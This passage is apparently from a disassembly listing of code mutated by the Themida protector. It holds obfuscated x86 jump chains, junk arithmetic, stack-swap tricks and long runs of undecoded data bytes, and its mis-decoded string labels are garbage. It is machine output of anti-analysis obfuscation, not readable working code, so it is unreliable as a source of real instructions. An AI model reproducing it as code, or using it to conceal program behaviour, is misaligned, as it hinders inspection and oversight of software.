		dd 0B35708BDh, 5DEE217Bh, 0E681D6F7h, 7CBC2586h, 42B7C681h
		dd 44812D61h, 77390424h, 74292022h, 6C810424h, 77390424h
		dd 0E95E2022h, 5E3Eh, 348BF329h, 4C48324h, 9AB3E952h, 0BF570000h
		dd 4, 875FF801h, 73E92404h, 0FFFFFFF8h,	1C8B2434h, 4C48124h
		dd 55000000h, 0A760E9h
		db 0
; ---------------------------------------------------------------------------


loc_545D65:				; CODE XREF: Themida_:00547BC2j
		push	ecx
		mov	ecx, 1507FFCh
		jmp	loc_54B315
; ---------------------------------------------------------------------------
		dd 0DAE9C6FEh, 81000057h, 1B22AAEFh, 51F70160h,	1B22AAB9h
		dd 59CF0160h, 4BD555Eh,	0E9000000h, 420Ah, 2434FF59h, 83241C8Bh
		dd 0CFE904C4h, 5E00001Bh, 8347E9h, 8E95000h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_545DAF:				; CODE XREF: Themida_:00548B19j
		mov	[esp], eax
		push	ebp
		push	ebx
		mov	ebx, 5C031BB1h
		inc	ebx
		not	ebx
		shl	ebx, 1
		neg	ebx
		add	ebx, 47F9C8D2h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_544844
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 1C54E9h, 0E9BEB300h,	4A2Eh
; ---------------------------------------------------------------------------


loc_545DDC:				; CODE XREF: Themida_:0054F06Aj
		add	esp, 4
		and	ebx, edx
		pop	edx
		or	ebx, ebx
		jnz	loc_54C325
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	7A1Ch
		mov	[esp], eax
		jmp	loc_54C0CC
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F58h,	0E954535Ch, 0AD6h, 24048966h, 58665366h
		dd 50AE9h
		db 0
; ---------------------------------------------------------------------------


loc_545E35:				; CODE XREF: Themida_:00550F61j
		pop	esi
		xor	eax, 637BD40Eh
		shl	eax, cl
		jmp	loc_547AD3
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0A941D5F0h, 87D6E9h
		db 0
; ---------------------------------------------------------------------------


loc_545E4D:				; CODE XREF: Themida_:0054AD65j
		dec	ecx
		not	ecx
		and	ecx, 3BF6393Dh
		inc	ecx
		add	ecx, 0ED19C6D5h
		add	ebp, ecx
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	esi
		jmp	loc_54C98B
; ---------------------------------------------------------------------------
		dw 0F180h
aAsmsli		db 'È€áMé«I',0
		db 0
byte_545E81	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005444F0o
aXstH		db 'XST[hÉ',7,0
		dd 240C8900h, 4B9h, 0DCEB8100h,	811A3D1Bh, 0AA5E49EBh
		dd 81CB010Fh, 0AA5E49C3h, 0DCC3810Fh, 8B1A3D1Bh, 1AE9240Ch
		dd 31FFFFF3h, 4332404h,	8B665C24h, 0ACE9240Ch, 0FFFFF3h
		dd 0B3535BF8h, 5EC380F5h, 0E96DC380h, 269Ch
dword_545ED8	dd 0E924248Bh, 1EC7h, 8107E2C1h, 0F8753BEAh, 0CEEA8137h
					; DATA XREF: Themida_:00544568o
		dd 81080D1Dh, 0EF4977CAh, 0F2814A54h, 24352DCBh, 2404FF52h
		dd 3AF2815Ah, 153DA50h,	56525AD6h, 4B3DE9h, 0D8295900h
		dd 2E93BD55h, 3705321Dh, 2975F043h, 43372DE8h, 55D75F0h
		dd 372F65AFh, 0F186E951h, 815EFFFFh, 65380BC7h,	0FFF801C8h
		dd 0E95F2434h, 87FDh
; ---------------------------------------------------------------------------


loc_545F44:				; CODE XREF: Themida_:00544C0Dj
		and	ecx, ebp
		jmp	loc_54F204
; ---------------------------------------------------------------------------


loc_545F4B:				; CODE XREF: Themida_:0054A94Fj
		push	ecx
		jmp	loc_546AF4
; ---------------------------------------------------------------------------
		db 4, 0B9h, 66h
		dd 4EC8151h, 89000000h,	2B62414h, 29B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_545F65:				; CODE XREF: Themida_:0054873Bj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54BF89
; ---------------------------------------------------------------------------
		dw 34FFh
aSb		db '$éB;',0
		align 2
		dw 1C87h
		dd 24248B24h, 24040966h, 0F607E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545F8A:				; CODE XREF: Themida_:0054A21Bj
		pop	eax
		jmp	loc_548520
; ---------------------------------------------------------------------------
aM0Qrsco	db '¬0ØQRé–®',0         ; DATA XREF: Themida_:00544464o
		align 2
		dw 0D48h
		dd 45063098h, 0F6E95740h, 35FFFFF0h, 0F8A7093Eh, 3358C501h
		dd 2C31242Ch, 242C3324h, 0F24248Bh, 0EC83C8BEh,	24048904h
		dd 8F868h, 24248900h, 4240483h,	8124048Bh, 4C4h, 55D3E900h
		dd 0B8500000h, 5A7662C7h, 5436E40Dh, 0E6354808h, 0F7188E10h
		dd 71ABE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545FF6:				; CODE XREF: Themida_:0054AFB2j
		pop	esp
		mov	[esp], edx
		mov	edx, 24h
		push	ecx
		jmp	loc_546B0B
; ---------------------------------------------------------------------------
a5s0		db '·<µ5é<0',0
		align 2
aYsJ		db 'Yé̆',0
		align 4
aISh3		db '‰<$éH3',0
		align 4
		dd 4EC81h, 42E90000h, 89000076h, 5C682414h, 5A4B5276h
		dd 148BD329h, 83E95024h
		db 6, 2	dup(0)
byte_54603B	db 0FFh			; DATA XREF: Themida_:00544478o
		dd 669D1C77h, 4196658h,	5CE99C24h, 80FFFFE6h, 0C8004DC1h
		dd 0FFF917E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546055:				; CODE XREF: Themida_:0054BB18j
		xor	eax, esi
		pop	esi
		mov	ecx, 0E93940B2h
		sub	ecx, eax
		pop	eax
		push	edi
		jmp	loc_545299
; ---------------------------------------------------------------------------
word_546066	dw 51ADh		; DATA XREF: Themida_:00544570o
		dd 5A3459B9h, 0A205E941h, 0E8C10000h, 14E3504h,	0C18900A5h
		dd 0A1EDE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546082:				; CODE XREF: Themida_:0054C502j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_550CEC
; ---------------------------------------------------------------------------
		dw 10E9h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546097:				; CODE XREF: Themida_:0054F198j
		pop	cx
		add	dl, 99h
		add	bl, dl
		pop	edx
		sub	bl, 1Fh
		add	bl, al
		jmp	loc_54C206
; ---------------------------------------------------------------------------
		db 1, 0C5h, 81h
aAissXs		db 'í©sè`Xé',0
aR_0:
		unicode	0, <r>
		dw 0B800h
		dd 17196549h, 713CE9h, 4B900h, 0CF290000h, 306EE9h, 59E88800h
		dd 0C8FEC0FEh, 0E034C0FEh, 0C588FF34h, 265FE9h,	24348700h
		dd 691CE95Ch, 0B9510000h, 2, 0C8BCA29h,	4C48124h, 52000000h
		dd 42474FFh, 24048F5Ah,	6624248Bh, 66240C89h, 66C8B60Fh
		dd 90E99C51h
		db 0E5h, 2 dup(0FFh)
byte_546117	db 66h			; DATA XREF: Themida_:00544628o
		dd 8124048Bh, 4ECh, 24148900h, 0FFED4CE9h, 72E953FFh, 0BA000065h
		dd 4, 875AD029h, 895C2404h, 29BF243Ch, 81294444h, 0B04897C7h
		dd 1EF8119h, 0C1000000h, 0EF8106E7h, 0BD232FBCh, 0E95FF801h
		dd 2519h, 950E281h, 0F2814526h,	5662466Dh, 0E95AD029h
		dd 0A10Fh, 402C483h, 66D80055h,	2855B353h, 45B66D8h, 0E9EA045Eh
		dd 0AB87h, 6624248Bh, 0E9240489h, 0FFFFE50Fh
; ---------------------------------------------------------------------------


loc_546198:				; CODE XREF: Themida_:005480EBj
		mov	esi, 649F6D04h
		add	ebx, esi
		push	dword ptr [esp]
		jmp	loc_54CA37
; ---------------------------------------------------------------------------


loc_5461A7:				; CODE XREF: Themida_:0054B47Fj
		add	ebp, 0DD24FFDh
		jmp	loc_54747F
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 74D98F22h, 0C8BC831h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_54EEA2
; ---------------------------------------------------------------------------
		db 9
		dd 81455AD5h, 0B9ED38F5h, 5DE901C7h, 8159CD89h,	4E6108C5h
		dd 0E5C1453Dh, 15CD8105h, 0E921A056h, 0AD98h, 1556700Dh
		dd 1C4C0500h, 0D5E99941h, 68000049h, 432Ah, 54240C89h
		dd 83240C8Bh, 0BF5704C4h, 53BA6307h, 4473E9h, 7EE38100h
		dd 56772B6Dh, 853BE9h, 1C875E00h, 24248B24h, 0F66E9F6h
		dd 5452CCB6h, 0B850515Ah, 5C3F53ACh, 15CEDDB9h,	58C1011Bh
		dd 8106E9C1h, 0F22B32E1h, 0F7F18716h, 0C1F187DEh, 0D9F705E9h
		dd 8003C181h, 0CA0107F9h, 592434FFh, 4C481h, 6FE90000h
		dd 81FFFFFEh, 0D70CC9E9h, 5B89E93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546286:				; CODE XREF: Themida_:00548002j
		or	edx, eax
		shl	edx, 1
		xor	[edi+24h], ecx
		push	edx
		jmp	loc_549AB0
; ---------------------------------------------------------------------------
		db 1
		dd 5A042454h, 2E88E9h, 0E9D9F700h, 8461h, 0CA81D2F7h, 160935B8h
		dd 42A2EA81h, 0D5E96A6Dh
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5462B7:				; CODE XREF: Themida_:005475D7j
		mov	edi, esp
		add	edi, 4
		push	1D42h
		jmp	loc_548A28
; ---------------------------------------------------------------------------
		db 0E9h, 0D9h, 0E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5462CE:				; CODE XREF: Themida_:00547574j
		add	ebp, 3DCE1251h
		add	ebp, ecx
		sub	ebp, 3DCE1251h
		pop	ecx
		jmp	loc_54E831
; ---------------------------------------------------------------------------
		dw 8B5Dh
		dd 54512404h, 0FFF0FCE9h, 19C381FFh, 814B622Ch,	62063FCBh
		dd 81DBF703h, 669703C3h, 5BDA0177h, 4C281h, 14870000h
		dd 64E95C24h, 58000014h, 4C481h, 4050000h, 0E9000000h
		dd 0FFFFEAF6h
dword_546324	dd 0E9028F66h, 0FFFFE37Bh, 74E9DA01h, 870000AEh, 8B5C243Ch
					; DATA XREF: Themida_:00544610o
		dd 22E92404h, 66000010h, 6653665Bh, 662414F7h, 0D831665Bh
		dd 66C33166h, 3FE9D831h, 10000ABh, 348B59C8h, 4C48124h
		dd 55000000h, 72A93BDh,	40F5E949h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54636E:				; CODE XREF: Themida_:0054B3FBj
		and	eax, ecx
		pop	ecx
		shr	eax, 0Eh
		xor	eax, ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		not	edi
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_54F637
; ---------------------------------------------------------------------------
		dw 2959h
		dd 0D50159CAh, 242C875Ah, 6624248Bh, 9C2424D3h,	0FFE2E2E9h
		dd 0E3F681FFh, 0E90E0E16h, 0FFFFF964h
dword_5463D0	dd 240C8B66h, 3C8B5457h, 4C48324h, 4C781h, 0BA520000h
					; DATA XREF: Themida_:0054446Co
		dd 55D82F35h, 87A4E951h, 0CD310000h, 0E9EB0159h, 6782h
		dd 79BBEE81h, 50594E54h, 0D8183AB8h, 27123509h,	0CFE940FEh
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54640F:				; CODE XREF: Themida_:0054B0F8j
		pop	ebp
		push	esi
		mov	esi, 4E573E04h
		shr	esi, 8
		sub	esi, 26744A27h
		add	esi, 7BEF56B5h
		add	edi, esi
		jmp	loc_5489A5
; ---------------------------------------------------------------------------
		dd 0E1E9C801h, 89FFFFEDh, 0E189240Ch, 4C181h, 0E9830000h
		dd 240C8704h, 6824248Bh, 7FA1h,	7805E9h, 242C8B00h, 201E9h
		dd 5EF08900h, 5558C201h, 4BE56h, 89510000h, 59CD89F1h
		dd 6FC2815Eh, 109E45Ah,	6FEA81EAh, 8B09E45Ah, 0C481242Ch
		dd 4, 0E9241487h, 7491h, 0FFE216E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546491:				; CODE XREF: Themida_:00549AD3j
		pop	dword ptr [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	ebx
		push	3675h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_54E454
; ---------------------------------------------------------------------------
		db 81h
		dd 3A7D94C1h, 0FBC1811Fh, 1F5F81Bh, 0FA4FE9C8h,	668FFFFh
		dd 5A7DA974h, 4EC81h, 3C890000h, 6FA2BF24h, 0FA217544h
		dd 8B92E9h
		db 0
byte_5464DD	db 66h,	0ADh, 66h	; DATA XREF: Themida_:0054464Co
		dd 66673168h, 66241489h, 6669A1BAh, 0E6E9D029h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5464F3:				; CODE XREF: Themida_:0054C1F7j
		sub	edi, 5BBE7C25h
		sub	edi, 0E25C98D3h
		sub	ebp, edi
		pop	edi
		jmp	loc_547BA0
; ---------------------------------------------------------------------------
		db 58h
		dd 3291BA52h, 50575EF4h, 4FB3E9h, 78BD5500h, 0F7371872h
		dd 0C581DDh, 81410877h,	0AC14E6C5h, 0F4F5816Ch,	2141CB3Bh
		dd 0E2D15DEAh, 0FC8BF57h, 0EF813FE6h, 0D5EB090Fh, 525FFA29h
		dd 17B4BA52h, 54311498h, 585A0424h, 7402E9h, 433E6800h
		dd 3BE90000h, 5F00009Ch, 2EFE9h, 89CD2900h, 0D3685DE9h
		dd 89000013h, 9068243Ch, 8B4C4E31h, 0C483243Ch,	0E9F90104h
		dd 0FFFFE3BEh, 89240489h, 405E0h, 2680000h, 0E900001Eh
		dd 0FFFFF308h
; ---------------------------------------------------------------------------


loc_546598:				; CODE XREF: Themida_:005467B5j
		pop	esi
		jmp	loc_54D598
; ---------------------------------------------------------------------------
		dw 0E989h
		dd 7EEB815Dh, 81709D6Bh, 207E70EBh, 0F4EB8135h,	1392F71h
		dd 4CC5E9CBh, 9F680000h, 89000059h, 6866240Ch, 89665A5Fh
		dd 0B0502414h, 58C68872h, 0F618EE80h, 15F680DEh, 5B13E9h
		dd 0C8EC8000h, 58E288h,	285A66D7h, 2434FFF8h, 4C4835Bh
		dd 0B3B55166h, 5966E828h, 2AE95052h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5465FF:				; CODE XREF: Themida_:00549471j
		mov	eax, [esp]
		jmp	loc_54D12C
; ---------------------------------------------------------------------------
		db 56h
		dd 0BB42EABEh, 5EF2317Bh, 0E904EC83h, 0A537h, 284AEE80h
		dd 0FBE95AF0h, 5000013h, 4, 405h, 24048700h, 7EC2815Ch
		dd 0E9761F06h, 2B27h, 4E981h, 0C330000h, 240C3124h, 0E9240C33h
		dd 4598h, 0E3051DB9h, 0FD94E93Ch, 0C483FFFFh, 2C18304h
		dd 5C240C87h, 0E9F1F766h, 0B01h, 54F65266h, 5A660124h
		dd 284FF680h, 8959E9F7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54667E:				; CODE XREF: Themida_:0054F8A2j
		pop	edx
		xor	ecx, 0E3FDD6AFh
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	edx
		push	eax
		push	549867ECh
		pop	eax
		neg	eax
		xor	eax, 0AB679815h
		mov	edx, eax
		pop	eax
		jmp	loc_54DD91
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24148B04h, 0E9E78957h, 342Fh
; ---------------------------------------------------------------------------


loc_5466B8:				; CODE XREF: Themida_:0054B310j
		pop	esp
		jmp	loc_54A432
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 681DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5466CA:				; CODE XREF: Themida_:0054D2A0j
		push	1C46h
		jmp	loc_5492EA
; ---------------------------------------------------------------------------


loc_5466D4:				; CODE XREF: Themida_:0054BED9j
		mov	eax, esi
		mov	edx, eax
		pop	eax
		mov	esi, [esp]
		push	ebx
		jmp	loc_544B9C
; ---------------------------------------------------------------------------


loc_5466E2:				; CODE XREF: Themida_:0054E81Bj
		mov	ecx, 3C116D60h
		jmp	loc_54EC97
; ---------------------------------------------------------------------------
		dd 0FFE9F101h
		db 75h,	2 dup(0)
byte_5466F3	db 64h			; DATA XREF: Themida_:005444A0o
		dd 68028B66h, 473Dh, 89241489h,	2854E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546706:				; CODE XREF: Themida_:0054C207j
		mov	dh, 1Fh
		add	bl, dh
		pop	edx
		push	dx
		jmp	loc_5458C9
; ---------------------------------------------------------------------------


loc_546712:				; CODE XREF: Themida_:0054E486j
		pop	ebp
		not	ebp
		xchg	ebp, ecx
		inc	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0A7FE1AC0h
		xor	ecx, ebx
		pop	ebx
		mov	esi, ecx
		pop	ecx
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		push	ecx
		mov	ecx, 79511BADh
		sub	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		push	edi
		jmp	loc_54A726
; ---------------------------------------------------------------------------
		dw 0C147h
		dd 814F02EFh, 356402F7h, 0E9FB8958h, 21ACh
dword_546768	dd 240C8B66h, 7A516853h, 24890000h, 24048124h, 4, 0FFF5D2E9h
					; DATA XREF: Themida_:00544630o
		dd 2CD028FFh, 1BD16893h, 8BE90000h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54678F:				; CODE XREF: Themida_:0054AD2Fj
		shr	eax, 2
		add	eax, 0C1EEE2DEh
		xor	edx, eax
		jmp	loc_54779B
; ---------------------------------------------------------------------------


loc_54679E:				; CODE XREF: Themida_:00547445j
		push	edi
		mov	edi, 0F8C3E1Eh
		push	53BFh
		mov	[esp], esi
		mov	esi, 0
		sub	esi, edi
		xchg	esi, edi
		jmp	loc_546598
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0EC810000h, 4, 0B9240C89h, 2, 7C08C281h, 0CA014B3Eh
		dd 7C08BB53h, 0DA294B3Eh, 81241C8Bh, 4C4h, 49B0E900h, 8B560000h
		dd 0C483240Ch, 2C815104h, 0EE73CF24h, 0C2815A44h, 44EE73CFh
		dd 0A772E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54680A:				; CODE XREF: Themida_:00547DF8j
		and	eax, ecx
		pop	ecx
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		xchg	ecx, [esp]
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		xchg	ecx, [esp]
		jmp	loc_545B95
; ---------------------------------------------------------------------------


loc_546824:				; CODE XREF: Themida_:0054C81Fj
		xor	dword ptr [esp], 651B6445h
		pop	ecx
		push	ebx
		jmp	loc_54D961
; ---------------------------------------------------------------------------
		dw 0A004h
		dd offset dword_439A38+3B1h
		db 0
; ---------------------------------------------------------------------------


loc_546839:				; CODE XREF: Themida_:005492FEj
		push	edi
		mov	edi, 4
		mov	ebp, edi
		jmp	loc_54F15A
; ---------------------------------------------------------------------------
		dw 0DE68h
		dd 8900006Dh, 0E954242Ch, 4880h, 5C24048Fh, 0FF2434FFh
		dd 48B2434h, 4C48324h, 81E68956h, 4C6h,	4C68100h, 87000000h
		dd 565C2434h, 4EC81h, 24890000h, 24048124h, 4, 4C6815Eh
		dd 83000000h, 1EE904C6h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546897:				; CODE XREF: Themida_:0054F225j
		push	edi
		mov	edi, 5B033CB4h
		add	ecx, 7A236832h
		add	ecx, edi
		sub	ecx, 7A236832h
		pop	edi
		xor	ecx, 57D18136h
		push	ecx
		pop	eax
		pop	ecx
		add	eax, edx
		xor	ecx, [eax]
		jmp	loc_548F52
; ---------------------------------------------------------------------------
aDXsbz		db ')D$',8,'Xéb§',0
		align 4
		dd 0E95BF920h, 6106h
dword_5468D0	dd 0E904EC83h, 0FFFFFB5Bh, 0E9A1B652h, 7F66h ; DATA XREF: Themida_:005444F8o
; ---------------------------------------------------------------------------


loc_5468E0:				; CODE XREF: Themida_:00550EC8j
		pop	esp
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_550E73
; ---------------------------------------------------------------------------
		dw 3BB8h
		dd 8926B36Ah, 0E811E9C6h, 815BFFFFh, 4C3h, 94B85000h, 0C100CF30h
		dd 73E906E8h, 81000038h, 4ECh, 240C8900h, 5DBCE9h, 62596800h
		dd 0F7E90000h, 89000034h, 0F365E9E0h, 15CFFFFh,	0CD685FF9h
		dd 89000057h, 4BE2434h,	81000000h, 0FF582FE9h, 53F10110h
		dd 5BC3E9h, 9DF78100h, 8144CB19h, 0CD8163C7h, 8BFD297Ch
		dd 0C481243Ch, 4, 4210FF2Dh, 5E82937h, 374210FFh, 27B1055Dh
		dd 0DDE96FE6h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54697F:				; CODE XREF: Themida_:00548F9Aj
		not	edi
		xchg	eax, edi
		xchg	eax, esi
		push	73BEh
		jmp	loc_54A25A
; ---------------------------------------------------------------------------
		db 2Dh,	34h, 29h
		dd 0DDE93BB2h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546997:				; CODE XREF: Themida_:005492A2j
		shr	esi, 2
		not	esi
		sub	esi, 2F496802h
		add	esi, 4B9C147Fh
		xor	esi, 91A13350h
		add	ebp, esi
		pop	esi
		jmp	loc_54B0F6
; ---------------------------------------------------------------------------
		dw 468h
		dd 8B4E1655h, 0C483242Ch, 5DE90104h, 6250BB53h,	0D9211E29h
		dd 7C3DE9h, 5BD93000h, 0C8BC800h, 4C48124h, 0E9000000h
		dd 719Ch, 3C8BF801h, 4C48324h, 4BA52h, 0D0010000h, 2404335Ah
		dd 33240431h, 248B2404h, 2434FF24h, 582434FFh, 2404E9h
		db 0
; ---------------------------------------------------------------------------


loc_546A0D:				; CODE XREF: Themida_:00549AA6j
		mov	edx, esp
		add	edx, 4
		push	eax
		jmp	loc_544896
; ---------------------------------------------------------------------------
		db 1
		dd 27BD55D8h, 10A9C56h,	0BD555DE8h, 76B035E1h, 0FFEDAAE9h
		dd 24248BFFh, 8F240489h, 48B4047h, 69B6824h, 2C890000h
		dd 68E58924h, 76C0h, 0EBDE9h
		db 0
; ---------------------------------------------------------------------------


loc_546A51:				; CODE XREF: Themida_:0054E3CFj
		xor	edi, edx
		xchg	edi, [esp]
		push	dword ptr [esp]
		jmp	loc_55062C
; ---------------------------------------------------------------------------
		dw 8166h
		dd 0E9BFC9EAh, 562h, 0D65EF281h, 0ED812DD9h, 3AE023B6h
		dd 54E9D501h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546A7B:				; CODE XREF: Themida_:0054E112j
		shr	ecx, 0
		jmp	loc_545541
; ---------------------------------------------------------------------------
aXs2o		db 'Xé2o',0
		dd 6EEC100h, 24E9D6F7h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546A93:				; CODE XREF: Themida_:0054801Ej
		mov	ebx, 1A9542D5h
		sub	ebx, 3F337A4Bh
		neg	ebx
		inc	ebx
		dec	ebx
		jmp	loc_54B2B1
; ---------------------------------------------------------------------------


loc_546AA7:				; CODE XREF: Themida_:005489AFj
		add	edi, 56242A5Bh
		sub	edi, 48FD5CD8h
		add	edi, ecx
		push	edx
		push	700A15FDh
		pop	edx
		and	edx, 2CB17DA9h
		neg	edx
		jmp	loc_547454
; ---------------------------------------------------------------------------
		dd offset loc_40F367+1
		align 2
		dw 1C89h
		dd 0E1885124h, 34FFCF88h, 0C4815924h, 4, 0E95BF988h, 0FFFFF48Ah
; ---------------------------------------------------------------------------


loc_546AE8:				; CODE XREF: Themida_:00547227j
		pop	ebx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5509D0
; ---------------------------------------------------------------------------


loc_546AF4:				; CODE XREF: Themida_:00545F4Cj
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5453AE
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 8BE90000h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546B0B:				; CODE XREF: Themida_:00546000j
		push	edi
		mov	edi, 4914787Ch
		mov	ecx, edi
		jmp	loc_5488D6
; ---------------------------------------------------------------------------
		dd 0E5C1D5F7h, 0A4CD8107h, 45086646h, 3FA3E9h, 0EE815F00h
		dd 0FFFFFFFFh, 6803EEC1h, 3030h, 0F7243489h, 555E2414h
		dd 9453E9h, 33C30D00h, 57483E69h, 420ADFBFh, 0AEF7816Ch
		dd 813CCA12h, 7D1B20F7h, 0C3C7816Bh, 815F2673h,	0B8674DC7h
		dd 27C7812Dh, 2969A282h, 7AC7E9F8h
		db 2 dup(0)
word_546B76	dw 8B66h		; DATA XREF: Themida_:0054451Co
		dd 58682404h, 0E900000Eh, 0FFFFFA00h, 0D9F180h,	240C8BCBh
		dd 8004C483h, 0BB53B1C3h, 38h, 2D72BF57h, 0C7810689h, 6C3C1158h
		dd 4E9DFF7h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546BAB:				; CODE XREF: Themida_:00548ED2j
		mov	ecx, 0B1DEC25Fh
		sub	ecx, 5730742Bh
		add	ecx, esi
		add	ecx, 5730742Bh
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		pop	esi
		pop	ecx
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_5446A7
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 88h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546BDF:				; CODE XREF: Themida_:00547480j
		not	dword ptr [esp]
		pop	ebp
		add	ebp, 0AAB0C258h
		jmp	loc_545CC5
; ---------------------------------------------------------------------------
		dw 8F54h
		dd 72E92404h, 8100006Eh, 0D106E3EAh, 5AD08908h,	58ACB951h
		dd 2CE9155Fh
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546C0B:				; CODE XREF: Themida_:00544B71j
		mov	[esp], eax
		jmp	loc_5446A7
; ---------------------------------------------------------------------------
		db 83h
		dd 2C3304C4h, 5243E924h, 2A680000h, 89000015h, 268241Ch
		dd 5B000000h, 31B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_546C31:				; CODE XREF: Themida_:0054BC1Bj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_547A35
; ---------------------------------------------------------------------------


loc_546C40:				; CODE XREF: Themida_:0055051Dj
		push	ebx
		mov	bh, 0E1h
		push	eax
		mov	al, 0D0h
		add	bh, al
		jmp	loc_549B47
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0C7810000h, 4, 2C781h, 3C870000h, 0B8E95C24h
		dd 89000034h, 4C681E6h,	0E9000000h, 9025h, 4C681h, 0EE830000h
		dd 74FF5602h, 8F5E0424h, 0E95C2404h, 1244h
; ---------------------------------------------------------------------------


loc_546C90:				; CODE XREF: Themida_:0054E6F8j
		push	6150042Ah
		jmp	loc_54B72A
; ---------------------------------------------------------------------------
		dw 0E968h
		dd 89000069h, 74FF2414h, 8F5A0424h, 248B2404h, 0E9F76624h
		dd 7736866h, 899CE9h
		db 0
; ---------------------------------------------------------------------------


loc_546CB9:				; CODE XREF: Themida_:005449BFj
		shr	ecx, 7
		jmp	loc_545C6D
; ---------------------------------------------------------------------------
		db 0F6h, 0D1h, 86h
		dd 7E2C0CAh, 49B55166h,	5966EA30h, 25047404h, 0A511E9h
		db 0
; ---------------------------------------------------------------------------


loc_546CD9:				; CODE XREF: Themida_:0054C4CEj
		mov	[esp], ebp
		jmp	loc_54E680
; ---------------------------------------------------------------------------


loc_546CE1:				; CODE XREF: Themida_:0054FDACj
		xor	edi, [esp]
		jmp	loc_547D60
; ---------------------------------------------------------------------------
byte_546CE9	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005443DCo
		dd 0D359669Dh, 0E99C241Ch, 0FFFFD9AFh
dword_546CF8	dd 24048B66h, 8904EC83h, 0FF542404h, 83582434h,	0BF5704C4h
					; DATA XREF: Themida_:0054449Co
		dd 4, 525FF801h, 8904EC83h, 2B82404h, 89000000h, 24048BC2h
		dd 4C481h, 0C5E90000h, 5C000093h, 9C240CD3h, 0FFD96EE9h
		db 0FFh
byte_546D39	db 8Fh,	47h, 40h	; DATA XREF: Themida_:0054462Co
		dd 0FFD966E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546D41:				; CODE XREF: Themida_:00549C9Dj
